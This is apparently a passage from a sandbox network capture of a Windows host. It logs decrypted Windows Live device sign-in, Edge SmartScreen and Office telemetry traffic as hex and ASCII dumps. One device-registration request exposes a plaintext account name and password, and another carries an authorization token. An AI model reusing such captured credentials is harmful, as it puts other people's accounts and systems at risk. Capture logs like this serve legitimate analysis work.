2024-11-17 21:20:45 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-17 21:20:45 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-17 21:20:46 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 17 Nov 2024 21:19:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: 2457f00a-413c-4f2c-98b2-17c184b9e07a PPServer: PPV: 30 H: SN1PEPF0002F144 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 17 Nov 2024 21:20:45 GMT Connection: close Content-Length: 1276
2024-11-17 21:20:46 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	60830	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:45 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-17 21:20:45 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 74 70 79 72 66 6a 71 75 63 68 71 61 66 64 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 6f 40 6e 41 40 45 55 28 76 6b 35 62 5e 4e 32 60 7e 64 4a 66 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02tpyrfjquchqafd</Membername><Password>o@nA@EU(vk5b^N2`~dJf</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-17 21:20:48 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sun, 17 Nov 2024 21:19:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_SN1 x-ms-request-id: e339a4a0-329a-4d69-8ad6-360b6abb29b0 PPServer: PPV: 30 H: SN1PEPF0003FB3C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 17 Nov 2024 21:20:47 GMT Connection: close Content-Length: 17166
2024-11-17 21:20:48 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 31 44 34 42 31 33 38 34 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 64 30 30 63 35 61 62 63 2d 38 39 39 31 2d 34 39 63 63 2d 61 36 64 32 2d 36 63 31 38 65 37 39 66 62 38 32 33 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00F1D4B1384</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="d00c5abc-8991-49cc-a6d2-6c18e79fb823" LicenseID="3252b20c-d425-4711
2024-11-17 21:20:48 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	60841	65.52.241.40	443	5924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:45 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoicUR4QVAxOUZCMGU0b1lPdmJyUjJ4QT09IiwgImhhc2giOiI3bENVRHNEZGNYVT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-17 21:20:45 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-17 21:20:46 UTC	252	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-17 21:20:46 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-11-17 21:20:46 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-11-17 21:20:46 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-11-17 21:20:46 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-11-17 21:20:46 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-11-17 21:20:46 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-11-17 21:20:46 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-11-17 21:20:47 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-11-17 21:20:47 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	60836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212046Z-16547b76f7fhvzzthC1DFW557000000004ug00000000qwc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	60837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:46 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
